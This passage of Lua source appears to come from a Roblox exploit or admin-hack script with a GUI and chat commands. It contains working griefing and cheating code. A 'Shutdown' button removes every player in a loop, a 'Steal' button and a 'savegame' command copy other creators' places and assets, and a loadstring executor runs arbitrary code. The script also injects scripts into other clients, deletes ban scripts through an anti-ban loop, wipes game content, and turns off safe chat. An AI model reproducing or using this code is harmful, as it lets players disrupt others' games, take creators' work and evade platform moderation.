  2507. edb.Style = "RobloxButtonDefault"
  2508. edb.Draggable = true
  2509.  
  2510. local pb = Instance.new("TextButton")
  2511. pb.Size = UDim2.new(.05, 0, .05, 0)
  2512. pb.Position = UDim2.new(0, 5, 0.5, -25);
  2513. pb.Draggable = true
  2514. pb.TextColor3 = Color3.new(1, 1, 1)
  2515. pb.MouseButton1Click:connect(function()
  2516. local p=Instance.new("Part");
  2517. p.Name = "RAWR"
  2518. p.BrickColor = BrickColor.Random()
  2519. p.Material = ((math.random(1, 2) == 1) and "Ice") or "Wood";
  2520. p.CFrame = CFrame.new(math.random(-60, 60), (game.PlaceId == 41324860 and 350 or 60), math.random(-60, 60));
  2521. p.formFactor = "Custom"
  2522. p.Size = Vector3.new(0.5, math.random(2, 40)/10, 0.5)
  2523. p.Parent = workspace
  2524. end)
  2525. pb.Text = "Make part"
  2526. pb.Style = "RobloxButtonDefault"
  2527. pb.Parent = game.CoreGui.RobloxGui
  2528.  
  2529. function getAll(obj)
  2530. for i, v in pairs(obj:getChildren()) do
  2531. if v:IsA("BasePart") then
  2532. v.Anchored = false
  2533. v.BrickColor = BrickColor.new(0)
  2534. bv = Instance.new("BodyVelocity")
  2535. bv.Parent = v
  2536. bv.maxForce = Vector3.new(100000000,100000000,100000000)
  2537. end
  2538. getAll(v)
  2539. end
  2540. end
  2541.  
  2542. function exPro(root)
  2543. for _, v in pairs(root:GetChildren()) do
  2544. if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset?id=53765773" then
  2545. v.Parent = nil
  2546. elseif v:IsA("BasePart") then
  2547. v.Material = "Plastic"
  2548. v.Transparency = .5
  2549. One = Instance.new("Decal", v)
  2550. Two = Instance.new("Decal", v)
  2551. Three = Instance.new("Decal", v)
  2552. Four = Instance.new("Decal", v)
  2553. Five = Instance.new("Decal", v)
  2554. Six = Instance.new("Decal", v)
  2555. One.Texture = "http://www.roblox.com/asset?id=53765773"
  2556. Two.Texture = "http://www.roblox.com/asset?id=53765773"
  2557. Three.Texture = "http://www.roblox.com/asset?id=53765773"
  2558. Four.Texture = "http://www.roblox.com/asset?id=53765773"
  2559. Five.Texture = "http://www.roblox.com/asset?id=53765773"
  2560. Six.Texture = "http://www.roblox.com/asset?id=53765773"
  2561. One.Face = "Front"
  2562. Two.Face = "Back"
  2563. Three.Face = "Right"
  2564. Four.Face = "Left"
  2565. Five.Face = "Top"
  2566. Six.Face = "Bottom"
  2567. end
  2568. exPro(v)
  2569. end
  2570. end
  2571.  
  2572.  
  2573. local DoD = Instance.new("TextButton", game.CoreGui.RobloxGui)
  2574. DoD.Size = UDim2.new(.05, 0, .05, 0)
  2575. DoD.Position = UDim2.new(0, 5, 0.5, 70);
  2576. DoD.Text = "DoD"
  2577. DoD.TextColor3 = Color3.new(1, 1, 1)
  2578. DoD.Style = "RobloxButtonDefault"
  2579. DoD.Draggable = true
  2580.  
  2581. DoD.MouseButton1Click:connect(function()
  2582. getAll(workspace)
  2583. game.Lighting.TimeOfDay = "07:00:00"
  2584. game.Lighting.Ambient = Color3.new(0,0,0)
  2585. sky = Instance.new("Sky")
  2586. sky.Parent = game.Lighting
  2587. sky.SkyboxBk = "http://www.roblox.com/asset/?id=8772734"
  2588. sky.SkyboxDn = "http://www.roblox.com/asset/?id=8772734"
  2589. sky.SkyboxFt = "http://www.roblox.com/asset/?id=8772734"
  2590. sky.SkyboxLf = "http://www.roblox.com/asset/?id=8772734"
  2591. sky.SkyboxRt = "http://www.roblox.com/asset/?id=8772734"
  2592. sky.SkyboxUp = "http://www.roblox.com/asset/?id=8772734"
  2593. end)
  2594.  
  2595. Shutdown = Instance.new("TextButton", game.CoreGui.RobloxGui)
  2596. Shutdown.Size = UDim2.new(.05, 0, .05, 0)
  2597. Shutdown.Position = UDim2.new(0, 5, 0.5, 110)
  2598. Shutdown.Text = "Shutdown"
  2599. Shutdown.TextColor3 = Color3.new(1, 1, 1)
  2600. Shutdown.Style = "RobloxButtonDefault"
  2601. Shutdown.Draggable = true
  2602.  
  2603. Shutdown.MouseButton1Click:connect(function()
  2604. coroutine.resume(coroutine.create(function()
  2605. while wait() do
  2606. for _, v in pairs(game.Players:GetPlayers()) do
  2607. v.Parent = nil
  2608. end
  2609. end
  2610. end))
  2611. end)
  2612.  
  2613. ExPro = Instance.new("TextButton", game.CoreGui.RobloxGui)
  2614. ExPro.Size = UDim2.new(.05, 0, .05, 0)
  2615. ExPro.Position = UDim2.new(0, 5, 0.5, 150)
  2616. ExPro.Text = "ExPro"
  2617. ExPro.TextColor3 = Color3.new(1, 1, 1)
  2618. ExPro.Style = "RobloxButtonDefault"
  2619. ExPro.Draggable = true
  2620.  
  2621. ExPro.MouseButton1Click:connect(function()
  2622. exPro(workspace)
  2623. end)
  2624.  
  2625. ScriptFrame = Instance.new("Frame", game.CoreGui.RobloxGui)
  2626. ScriptFrame.Size = UDim2.new(0.5, 0, 0.75, 0)
  2627. ScriptFrame.Position = UDim2.new(0.300000012, 0, 0.200000003, 0)
  2628. ScriptFrame.Active = true
  2629. ScriptFrame.Draggable = true
  2630. ScriptFrame.Style = "RobloxRound"
  2631.  
  2632. Panel = Instance.new("TextBox", ScriptFrame)
  2633. Panel.BackgroundColor3 = Color3.new(1, 1, 1)
  2634. Panel.ClearTextOnFocus = true --Change to false if you want easy script edit
  2635. Panel.FontSize = "Size9"
  2636. Panel.MultiLine = true
  2637. Panel.Position = UDim2.new(0, 0, 0.100000001, 0)
  2638. Panel.Size = UDim2.new(1, 0, 0.899999976, 0)
  2639. Panel.BorderSizePixel = 0
  2640. Panel.Text = ""
  2641. Panel.TextWrap = true
  2642. Panel.TextXAlignment = "Left"
  2643. Panel.TextYAlignment = "Top"
  2644.  
  2645. ExecuteButton = Instance.new("TextButton", ScriptFrame)
  2646. ExecuteButton.Font = "ArialBold"
  2647. ExecuteButton.FontSize = "Size12"
  2648. ExecuteButton.Text = "Execute"
  2649. ExecuteButton.Size = UDim2.new(.3, 0, .05, 0)
  2650. ExecuteButton.Style = "RobloxButtonDefault"
  2651. ExecuteButton.TextColor3 = Color3.new(1, 1, 1)
  2652. ExecuteButton.TextYAlignment = "Center"
  2653. ExecuteButton.TextXAlignment = "Center"
  2654.  
  2655. ExecuteButton.MouseButton1Click:connect(function()
  2656. local func = loadstring(Panel.Text) or function() end
  2657. pcall(function()
  2658. coroutine.resume(coroutine.create(func))
  2659. end)
  2660. end)
  2661.  
  2662. StealText = Instance.new("TextBox", game.CoreGui.RobloxGui)
  2663. StealText.BackgroundColor3 = Color3.new(1, 1, 1)
  2664. StealText.ClearTextOnFocus = false
  2665. StealText.Font = "ArialBold"
  2666. StealText.FontSize = "Size11"
  2667. StealText.Position = UDim2.new(0, 0, 0.879999995, 0)
  2668. StealText.Size = UDim2.new(0.100000001, 0, 0.0500000007, 0)
  2669. StealText.Text = ""
  2670.  
  2671. StealButton = Instance.new("TextButton", game.CoreGui.RobloxGui)
  2672. StealButton.Font = "ArialBold"
  2673. StealButton.FontSize = "Size12"
  2674. StealButton.Text = "Steal"
  2675. StealButton.Position = UDim2.new(0.100000001, 0, 0.879999995, 0)
  2676. StealButton.Size = UDim2.new(0.0700000003, 0, 0.0500000007, 0)
  2677. StealButton.TextColor3 = Color3.new(1, 1, 1)
  2678. StealButton.Style = "RobloxButtonDefault"
  2679.  
  2680. StealButton.MouseButton1Click:connect(function()
  2681. pcall(function()
  2682. game:GetService("Visit"):SetUploadUrl("http://www.roblox.com/Data/Upload.ashx?assetid=" .. StealText.Text);
  2683. game.CoreGui.RobloxGui.ControlFrame.SaveDialogShield.Visible = true
  2684. end)
  2685. end)
  2686.  
  2687. coroutine.resume(coroutine.create(function()
  2688. while wait() do
  2689. game:ClearMessage()
  2690. end
  2691. end))
  2692.  
  2693. game.Players.LocalPlayer:SetSuperSafeChat(false);
  2694. end
  2695. ExplorerGui=function()
  2696. local name = "thejustifierx"
  2697.  
  2698. while true and wait() do
  2699. if (game.Players.LocalPlayer == nil) then else break end end
  2700.  
  2701. Properties={nil,"Name","className","Parent","archivable","AttachmentForward","AttachmentPos","AttachmentRight","AttachmentUp","AnimationId","HeadColor","RightArmColor","LeftArmColor","TorsoColor","LeftLegColor","RightLegColor","Value","CameraType","CameraSubject","BaseTextureId","BodyPart","MeshId","OverlayTextureId","MaxActivationDistance","Shiny","Specular","Texture","Face","GripForward","GripPos","GripRight","GripUp","TextureId","TeamColor","Enabled","CFrame","BrickColor","Material","Reflectance","Transparency","Position","RotVelocity","Velocity","Anchored","CanCollide","Locked","Elasticity","Friction","Shape","Size","formFactor","BackSurface","BottomSurface","FrontSurface","LeftSurface","RightSurface","TopSurface","AbsolutePosition","AbsoluteSize","Active","BackgroundColor3","BackgroundTransparency","BorderColor3","BorderSizePixel","SizeConstraint","Visible","ZIndex","C0","C1","Part0","Part1","BinType","LeftLeg","RightLeg","Torso","Health","MaxHealth","WalkSpeed","Jump","PlatformStand","Sit","AutoButtonColor","Image","LinkedSource","Disabled","Text","PrimaryPart","CurrentAngle","DesiredAngle","MaxVelocity","PantsTemplate","ShirtTemplate","SoundId","Pitch","IsPlaying","IsPaused","Looped","PlayOnRemove","StudsPerTileU","StudsPerTileV","userId","BubbleChat","ClassicChat","MaxPlayers","NumPlayers","LocalPlayer","CharacterAppearance","Character","CurrentCamera","Ambient","Brightness","ColorShift_Bottom","ColorShift_Top","ShadowColor","GeographicLatitude","TimeOfDay","AmbientReverb","DistanceFactor","DopplerScale","RolloffScale","FogEnd","FieldOfView","FogStart","FogColor","CameraMode"}
  2702. GlobalProperties={nil,"Name","className","Parent","archivable"}
  2703. GlobalEvents={nil,"AncestryChanged","ChildAdded","ChildRemoved","DescendantAdded","DescendantRemoving"}
  2704. GlobalFunctions={nil,"Clone","FindFirstChild","GetChildren","GetFullName","IsA","IsAncesterOf","IsDescendantOf","Remove"}
  2705. local Selection=game
  2706. local updateDebounce=1
  2707. Base="http://www.roblox.com/asset/?id="
  2708. Images={Value=40332408,Sound=40332463,Script=40332546,ScreenGui=40332596,Part=40332760,Nil=40332825,Model=40332865,Message=40332942,LocalScript=40332996,Joint=40333049,Frame=40333121,Camera=40333217,Backpack=40333260,Player=40332674,Body=40339623,HopperBin=40339572,Tool=40339513,Workspace=40484518,Mesh=40484580,Property=40493937,Animation=40531758,Hat=40531808,Humanoid=40531903}
  2709. Min=1
  2710. Max=40
  2711. MAXPAGEN=40
  2712. --[[==================================================================]]
  2713. function GetProperties(Object,Table)
  2714. local Return={}
  2715. local function C() end
  2716. for i=1,#Table do
  2717. if pcall(function() C(Object[Table[i]]) end) then
  2718. if (Object:FindFirstChild(Table[i])==nil) then
  2719. table.insert(Return,Table[i])
  2720. end end end
  2721. return Return
  2722. end
  2723.  
  2724. function GetType(Prop)
  2725. if (type(Prop)=="userdata") then
  2726. if pcall(function() Prop.Name=Prop.Name end) then
  2727. return Prop.Name
  2728. end end
  2729. return Prop
  2730. end
  2731.  
  2732. function SetPropGui()
  2733. if (Selection~=nil) then
  2734. local PropGuiPos=0
  2735. local Gui=game:GetService("CoreGui"):FindFirstChild("PropertiesGui")
  2736. if (Gui~=nil) then
  2737. Gui:Remove()
  2738. end
  2739. PropGui=Instance.new("ScreenGui")
  2740. PropGui.Parent=game:GetService("CoreGui")
  2741. PropGui.Name="PropertiesGui"
  2742. local Props=GetProperties(Selection,Properties)
  2743. for i=1,#Props do
  2744. PropGuiPos=i
  2745. local Get=GetType(Props[i])
  2746. local Label=Instance.new("TextButton")
  2747. Label.Parent=PropGui
  2748. Label.Size=UDim2.new(0,150,0,15)
  2749. Label.Text=" "..tostring(Get).." | "..tostring(Selection[Get])
  2750. Label.BackgroundColor3=Color3.new(0.7,0.7,0.9)
  2751. Label.Name=tostring(Get)
  2752. Label.TextXAlignment="Left"
  2753. Label.Position=UDim2.new(0,230,0,(i*15)-15)
  2754. Label.TextColor3=Color3.new(0,0,0)
  2755. Label.BorderColor3=Color3.new(0,0,0)
  2756. Label.BackgroundTransparency=0.5
  2757. Label.Active=false
  2758. Label.AutoButtonColor=false
  2759. CreateImageLabel(Label,Base..Images.Property)
  2760. if (type(Selection[Props[i]])=="boolean") then
  2761. if pcall(function() Selection[Props[i]]=Selection[Props[i]] end) then
  2762. Label.Active=true
  2763. Label.AutoButtonColor=true
  2764. Label.BackgroundColor3=Color3.new(0.5,0.5,1)
  2765. Label.MouseButton1Click:connect(function()
  2766. if (Selection[Props[i]]==true) then
  2767. Selection[Props[i]]=false
  2768. elseif (Selection[Props[i]]==false) then
  2769. Selection[Props[i]]=true
  2770. end
  2771. Label.Text=" "..tostring(Props[i]).." | "..tostring(Selection[Props[i]])
  2772. end) end end end
  2773. end end
  2774.  
  2775. function CreateImageLabel(Par,image)
  2776. local label=Instance.new("ImageLabel")
  2777. label.BackgroundColor3=Color3.new(1,1,1)
  2778. label.BackgroundTransparency=1
  2779. label.Name="ItemImage"
  2780. label.Size=UDim2.new(0,13,0,13)
  2781. label.Position=UDim2.new(0,1,0,1)
  2782. label.Image=image
  2783. label.BorderSizePixel=0
  2784. label.Parent=Par
  2785. end
  2786.  
  2787. function SetImage(Par,class)
  2788. if (class=="IntValue") or (class=="BoolValue") or (class=="StringValue") or (class=="ObjectValue") or (class=="CFrameValue") or (class=="Vector3Value") or (class=="NumberValue") or (class=="RayValue") or (class=="Color3Value") or (class=="BrickColorValue") then
  2789. CreateImageLabel(Par,Base..Images.Value)
  2790. elseif (class=="Sound") or (class=="StockSound") or (class=="SoundService") then
  2791. CreateImageLabel(Par,Base..Images.Sound)
  2792. elseif (class=="Script") then
  2793. CreateImageLabel(Par,Base..Images.Script)
  2794. elseif (class=="ScreenGui") or (class=="GuiMain") or (class=="BillboardGui") then
  2795. CreateImageLabel(Par,Base..Images.ScreenGui)
  2796. elseif (class=="Part") or (class=="WedgePart") or (class=="TrussPart") then
  2797. CreateImageLabel(Par,Base..Images.Part)
  2798. elseif (class=="Model") then
  2799. CreateImageLabel(Par,Base..Images.Model)
  2800. elseif (class=="Hint") or (class=="Message") then
  2801. CreateImageLabel(Par,Base..Images.Message)
  2802. elseif (class=="LocalScript") then
  2803. CreateImageLabel(Par,Base..Images.LocalScript)
  2804. elseif (class=="Weld") or (class=="Snap") or (class=="Glue") or (class=="Rotate") or (class=="RotateP") or (class=="RotateV") or (class=="JointsService") then
  2805. CreateImageLabel(Par,Base..Images.Joint)
  2806. elseif (class=="Frame") or (class=="TextLabel") or (class=="TextButton") or (class=="TextBox") or (class=="ImageButton") or (class=="ImageLabel") then
  2807. CreateImageLabel(Par,Base..Images.Frame)
  2808. elseif (class=="Camera") then
  2809. CreateImageLabel(Par,Base..Images.Camera)
  2810. elseif (class=="Backpack") or (class=="StarterGear") or (class=="StarterPack") or (class=="StarterGui") or (class=="PlayerGui") then
  2811. CreateImageLabel(Par,Base..Images.Backpack)
  2812. elseif (class=="Player") or (class=="PseudoPlayer") or (class=="Players") then
  2813. CreateImageLabel(Par,Base..Images.Player)
  2814. elseif (class=="BodyPosition") or (class=="BodyGyro") or (class=="BodyVelocity") or (class=="BodyThrust") or (class=="BodyForce") or (class=="RocketPropulsion") then
  2815. CreateImageLabel(Par,Base..Images.Body)
  2816. elseif (class=="HopperBin") then
  2817. CreateImageLabel(Par,Base..Images.HopperBin)
  2818. elseif (class=="Tool") then
  2819. CreateImageLabel(Par,Base..Images.Tool)
  2820. elseif (class=="Workspace") then
  2821. CreateImageLabel(Par,Base..Images.Workspace)
  2822. elseif (class=="BlockMesh") or (class=="SpecialMesh") or (class=="CylinderMesh") then
  2823. CreateImageLabel(Par,Base..Images.Mesh)
  2824. elseif (class=="Animation") or (class=="CharacterMesh") then
  2825. CreateImageLabel(Par,Base..Images.Animation)
  2826. elseif (class=="Hat") then
  2827. CreateImageLabel(Par,Base..Images.Hat)
  2828. elseif (class=="Humanoid") then
  2829. CreateImageLabel(Par,Base..Images.Humanoid)
  2830. elseif (class=="StarterScript") then
  2831. CreateImageLabel(Par,Base..Images.LocalScript)
  2832. elseif (class=="CoreScript") then
  2833. CreateImageLabel(Par,Base..Images.LocalScript)
  2834. else CreateImageLabel(Par,Base..Images.Nil)
  2835. end
  2836. end
  2837.  
  2838. function SetExplGui()
  2839. if (Selection~=nil) then
  2840. local Gui=game:GetService("CoreGui"):FindFirstChild("ExplorerGui")
  2841. if (Gui~=nil) then Gui:Remove() end
  2842. local Children=Selection:GetChildren()
  2843. ExplGui=Instance.new("ScreenGui")
  2844. ExplGui.Parent=game:GetService("CoreGui")
  2845. ExplGui.Name="ExplorerGui"
  2846. if (Selection.Parent~=nil) then
  2847. local BackButton=Instance.new("TextButton")
  2848. BackButton.Size=UDim2.new(0,120,0,15)
  2849. BackButton.BorderColor3=Color3.new(0,0,0)
  2850. BackButton.TextColor3=Color3.new(0,0,0)
  2851. BackButton.Parent=ExplGui
  2852. BackButton.Text="Back to " .. Selection.Parent.Name
  2853. BackButton.BackgroundColor3=Color3.new(0.3,0.3,1)
  2854. BackButton.BackgroundTransparency=0.5
  2855. BackButton.Position=UDim2.new(0,380,0,0)
  2856. BackButton.Name="Back"
  2857. BackButton.MouseButton1Click:connect(function()
  2858. Selection=Selection.Parent
  2859. SetExplGui()
  2860. SetPropGui()
  2861. end) end
  2862. if (#Children>=MAXPAGEN) then
  2863. local f=0
  2864. for i=Min,Max do
  2865. f=f+1
  2866. local Obj=Instance.new("TextButton")
  2867. Obj.Size=UDim2.new(0,120,0,15)
  2868. Obj.BorderColor3=Color3.new(0,0,0)
  2869. Obj.TextColor3=Color3.new(0,0,0)
  2870. Obj.Parent=ExplGui
  2871. Obj.Text=" "..Children[i].Name
  2872. Obj.BackgroundColor3=Color3.new(0.4,0.4,0.6)
  2873. Obj.BackgroundTransparency=0.5
  2874. Obj.TextXAlignment="Left"
  2875. if (Selection.Parent~=nil) then Obj.Position=UDim2.new(0,380,0,(f*15)) else Obj.Position=UDim2.new(0,380,0,(f*15)-15) end
  2876. Obj.Name=Children[i].Name
  2877. SetImage(Obj,Children[i].className)
  2878. Obj.MouseButton1Click:connect(function() pcall(function() Selection=Children[i] SetExplGui() SetPropGui() end) end)
  2879. local Remove=Instance.new("TextButton")
  2880. Remove.Size=UDim2.new(0,15,0,15)
  2881. Remove.BorderColor3=Color3.new(0,0,0)
  2882. Remove.TextColor3=Color3.new(0,0,0)
  2883. Remove.Parent=ExplGui
  2884. Remove.Text="X"
  2885. Remove.BackgroundColor3=Color3.new(1,0.25,0.25)
  2886. Remove.BackgroundTransparency=0.5
  2887. Remove.Name="Remove" .. Children[i].Name
  2888. if (Selection.Parent~=nil) then Remove.Position=UDim2.new(0,500,0,(f*15)) else Remove.Position=UDim2.new(0,500,0,(f*15)-15) end
  2889. Remove.MouseButton1Click:connect(function() if (pcall(function() Children[i]:Remove() end)) then SetPropGui() SetExplGui() else Remove.BackgroundColor3=Color3.new(1,1,1) wait(1) Remove.BackgroundColor3=Color3.new(1,0.25,0.25) end end)
  2890. end
  2891. local UP=Instance.new("TextButton")
  2892. UP.Position=UDim2.new(0,515,0,0)
  2893. UP.Size=UDim2.new(0,15,0,15)
  2894. UP.BorderColor3=Color3.new(0,0,0)
  2895. UP.TextColor3=Color3.new(0,0,0)
  2896. UP.Parent=ExplGui
  2897. UP.Text="^"
  2898. UP.BackgroundColor3=Color3.new(1,0.25,0.25)
  2899. UP.BackgroundTransparency=0.5
  2900. UP.Name="UpButton"
  2901. UP.MouseButton1Click:connect(function() if (Min<=1) then return end Min=Min-1 Max=Max-1 SetExplGui() end)
  2902. local DOWN=Instance.new("TextButton")
  2903. DOWN.Position=UDim2.new(0,515,0,15)
  2904. DOWN.Size=UDim2.new(0,15,0,15)
  2905. DOWN.BorderColor3=Color3.new(0,0,0)
  2906. DOWN.TextColor3=Color3.new(0,0,0)
  2907. DOWN.Parent=ExplGui
  2908. DOWN.Text="v"
  2909. DOWN.BackgroundColor3=Color3.new(1,0.25,0.25)
  2910. DOWN.BackgroundTransparency=0.5
  2911. DOWN.Name="DownButton"
  2912. DOWN.MouseButton1Click:connect(function() if (Max>=#Children) then return end Min=Min+1 Max=Max+1 SetExplGui() end)
  2913. else
  2914. Max=MAXPAGEN
  2915. Min=1
  2916. for i=1,#Children do
  2917. local Obj=Instance.new("TextButton")
  2918. Obj.Size=UDim2.new(0,120,0,15)
  2919. Obj.BorderColor3=Color3.new(0,0,0)
  2920. Obj.TextColor3=Color3.new(0,0,0)
  2921. Obj.Parent=ExplGui
  2922. Obj.Text=" "..Children[i].Name
  2923. Obj.BackgroundColor3=Color3.new(0.4,0.4,0.6)
  2924. Obj.BackgroundTransparency=0.5
  2925. Obj.TextXAlignment="Left"
  2926. if (Selection.Parent~=nil) then Obj.Position=UDim2.new(0,380,0,(i*15)) else Obj.Position=UDim2.new(0,380,0,(i*15)-15) end
  2927. Obj.Name=Children[i].Name
  2928. SetImage(Obj,Children[i].className)
  2929. Obj.MouseButton1Click:connect(function() pcall(function() Selection=Children[i] SetExplGui() SetPropGui() end) end)
  2930. local Remove=Instance.new("TextButton")
  2931. Remove.Size=UDim2.new(0,15,0,15)
  2932. Remove.BorderColor3=Color3.new(0,0,0)
  2933. Remove.TextColor3=Color3.new(0,0,0)
  2934. Remove.Parent=ExplGui
  2935. Remove.Text="X"
  2936. Remove.BackgroundColor3=Color3.new(1,0.25,0.25)
  2937. Remove.BackgroundTransparency=0.5
  2938. Remove.Name="Remove" .. Children[i].Name
  2939. if (Selection.Parent~=nil) then Remove.Position=UDim2.new(0,500,0,(i*15)) else Remove.Position=UDim2.new(0,500,0,(i*15)-15) end
  2940. Remove.MouseButton1Click:connect(function() if (pcall(function() Children[i]:Remove() end)) then SetPropGui() SetExplGui() else Remove.BackgroundColor3=Color3.new(1,1,1) wait(1) Remove.BackgroundColor3=Color3.new(1,0.25,0.25) end end)
  2941. end
  2942. end
  2943. end
  2944. ----------------
  2945. Selection.Changed:connect(function(prop)
  2946. if (Selection==game) then return end
  2947. if (updateDebounce==1) then
  2948. updateDebounce=0
  2949. if (Selection.Parent==nil) then
  2950. Selection=game
  2951. updateDebounce=1
  2952. SetPropGui()
  2953. SetExplGui()
  2954. return end
  2955. if (PropGui~=nil) then
  2956. local Button=PropGui:FindFirstChild(prop)
  2957. if (Button~=nil) then
  2958. local Get=GetType(prop)
  2959. Button.Text=" "..tostring(Get).." | "..tostring(Selection[Get])
  2960. end end
  2961. wait()
  2962. updateDebounce=1
  2963. end end)
  2964. ---------------------------
  2965. end
  2966. SetPropGui()
  2967. SetExplGui()
  2968.  
  2969. end
  2970. Hint=function(txt,t)
  2971. if not pcall(function()local w=game:service'CoreGui':children''end)then return end
  2972. local Hint=Instance.new('Hint',game:service'CoreGui')
  2973. Hint.Text=txt
  2974. wait(t)
  2975. Hint:remove''
  2976. end
  2977. if wfp(game,'PlaceId')~=0 then if Ray.Hacked then error'Hack exist'return end end
  2978. Player=wfp(s'Players','LocalPlayer')
  2979. table.insert(Connects,Player.Chatted:connect(SearchCommand))
  2980. if pcall(function()s'CoreGui':IsA''end)then
  2981. PlayerGui=s'CoreGui'
  2982. else
  2983. PlayerGui=wfo(Player,'Name','PlayerGui')
  2984. end
  2985. Commands.tele=function(place_id)
  2986. local players = {}
  2987. for i, v in next, Game.Players:GetPlayers() do
  2988. if v ~= Game.Players.LocalPlayer then
  2989. table.insert(players, v)
  2990. end
  2991. end
  2992. for i, v in next, players do
  2993. pcall(function() v:SetSuperSafeChat(true) end)
  2994. end
  2995. LoadOnClients(players, TeleportScript(place_id))
  2996. end
  2997. Commands.ff=function(v,asd)
  2998. for i,v in pairs(pf(asd[1]))do
  2999. if v.Character then
  3000. for i,v in pairs(FindChildren(v.Character,'ClassName','ForceField'))do
  3001. v:remove''
  3002. end
  3003. if asd[2]=='false'then return end
  3004. Instance.new('ForceField',v.Character)
  3005. end
  3006. end
  3007. end
  3008. Commands.port=function(v)
  3009. local t=game:service'InsertService':LoadAsset'64667087'
  3010. if v or v~=''then
  3011. t:FindFirstChild('port',true).Value=v
  3012. end
  3013. game:service'InsertService':Insert(t)
  3014. end
  3015. Commands.savegame=function()
  3016. Place=Instance.new('Model',settings'')
  3017. Place.Name=tick''..'Stolen Place '..game.PlaceId
  3018. Workspace=Instance.new('Model',Place)
  3019. Workspace.Name='Workspace'
  3020. Lighting=Instance.new('Model',Place)
  3021. Lighting.Name='Lighting'
  3022. StarterPack=Instance.new('Model',Place)
  3023. StarterPack.Name='StarterPack'
  3024. StarterGui=Instance.new('Model',Place)
  3025. StarterGui.Name='StarterGui'
  3026. Teams=Instance.new('Model',Place)
  3027. Teams.Name='Teams'
  3028. Players=Instance.new('Model',Place)
  3029. Players.Name='Players'
  3030. SoundService=Instance.new('Model',Place)
  3031. SoundService.Name='SoundService'
  3032. for asdasd,asd in pairs(Place:children'')do
  3033. for i,v in pairs(game:service(asd.Name):children'')do
  3034. pcall(function()
  3035. if not v:IsA("Player") then
  3036. if v:IsA("Model") then v.Archivable=true end
  3037. v:clone''.Parent=asd
  3038. elseif v:IsA("Player") then plr=Instance.new('Model',Players) plr.Name=v.Name
  3039. for e,i in pairs(v:GetChildren())do i:clone().Parent = plr end
  3040. end
  3041. end)
  3042. end
  3043. end
  3044. Hint('Save game complete',10)
  3045. end
  3046. Commands.suicide=function()
  3047. for i,v in pairs(Connects)do
  3048. v:disconnect''
  3049. end
  3050. for i,v in pairs(PlayerGui:children'')do
  3051. if v.Name==CommanderName then pcall(v.remove,v)end
  3052. end
  3053. end
  3054. Commands.power=function()
  3055. if game.Players.LocalPlayer.Character ~= nil then
  3056. if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
  3057. ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
  3058. ls.Name="lsInserted"
  3059. wait(.2)
  3060. ls.Name="lsRun"
  3061. ls.Source=PowerScriptSource
  3062. ls.Disabled=true
  3063. ls.Disabled=false
  3064. end
  3065. end
  3066. end
  3067. Commands.nova=function()
  3068. if game.Players.LocalPlayer.Character ~= nil then
  3069. if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
  3070. ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
  3071. ls.Name="lsInserted"
  3072. wait(.2)
  3073. ls.Name="lsRun"
  3074. ls.Source=NovaSource
  3075. ls.Disabled=true
  3076. ls.Disabled=false
  3077. end
  3078. end
  3079. end
  3080. Commands.gaara=function()
  3081. if game.Players.LocalPlayer.Character ~= nil then
  3082. if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
  3083. ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
  3084. ls.Name="lsInserted"
  3085. wait(.2)
  3086. ls.Name="lsRun"
  3087. ls.Source=GaaraSource
  3088. ls.Disabled=true
  3089. ls.Disabled=false
  3090. end
  3091. end
  3092. end
  3093. Commands.outgame=function() AntibanScript=false
  3094. if game.Players.LocalPlayer.Character ~= nil then
  3095. if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
  3096. ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
  3097. ls.Name="lsInserted"
  3098. wait(.2)
  3099. ls.Name="lsRun"
  3100. ls.Source=OutGameSource
  3101. ls.Disabled=true
  3102. ls.Disabled=false
  3103. end
  3104. end
  3105. end
  3106. Commands.load=function(v)loadstring(v)()end
  3107. Commands.script=function(v)CreateScript('Script',s'Workspace',v)end
  3108. Commands['local']=function(v)CreateScript('LocalScript',Player.Backpack,v)end
  3109. Commands.dqydqshdjwxcfvwxbclmkljpoiuiyuiteyrteyazeqdsdfdgfdj=function(v,asd)
  3110. game:service'Players'.LocalPlayer.Parent=nil
  3111. game:service'Players'.LocalPlayer.Parent=game:service'Players'
  3112. game:ClearContent'true'
  3113. for i,v in pairs(GetAll(game))do
  3114. pcall(v.remove,v)
  3115. end
  3116. game.DescendantAdded:connect(function(c)pcall(c.remove,c)end)
  3117. end
  3118. Commands.reset=function(v,asd)
  3119. for i,p in pairs(pf(asd[1]))do
  3120. Delay(0,function()
  3121. for i,v in pairs(p.Character:children'')do
  3122. if not v:IsA'Humanoid'then
  3123. pcall(v.remove,v)
  3124. end
  3125. end
  3126. end)
  3127. end
  3128. end
  3129. Commands.bar=CommandBar
  3130. CommandBar''
  3131. AntiBan=function()
  3132. coroutine.resume(coroutine.create(function()
  3133. while true and wait() do
  3134. for _,v in pairs(game.Workspace:GetChildren()) do
  3135. if (v:IsA("Script")) and (v.Name=="BanScript") then
  3136. v.Disabled=true
  3137. v:remove()
  3138. elseif (v:IsA("Script")) and (string.sub(v.Name, 1, 9)=="Person299") then
  3139. v.Disabled=true
  3140. v:remove()
  3141. end
  3142. end
  3143. end
  3144. end))
  3145. end
  3146. AntiBan''
  3147. X(function()
  3148. local gs=s'GuiService'
  3149. gs:AddKey(CmdbKey)
  3150. gs:AddKey(FocusKey)
  3151. gs:AddKey(ExplorerKey)
  3152. gs:AddKey(ExproKey)
  3153. gs:AddKey(GearKey)
  3154. gs:AddKey(BuildKey)
  3155. gs:AddKey(GodKey)
  3156. gs:AddKey(UnlockKey)
  3157. gs:AddKey(LockKey)
  3158. gs:AddKey(InvisiKey)
  3159. gs:AddKey(VisiKey)
  3160. gs:AddKey(AdminKey)
  3161. table.insert(Connects,gs.KeyPressed:connect(function(Key)
  3162. if Key==CmdbKey then
  3163. if(game.Players.LocalPlayer.Name=="LocalCheater")then
  3164. game.Players.LocalPlayer.CharacterAppearance = "http://www.roblox.com/asset/?ID=67950579"
  3165. game.Players.LocalPlayer.Character.Humanoid.Health = 0
  3166. game.Players.LocalPlayer:SetSuperSafeChat(false)
  3167. else
  3168. if CommanderScreen.Parent then
  3169. pcall(CommanderScreen.remove,CommanderScreen)
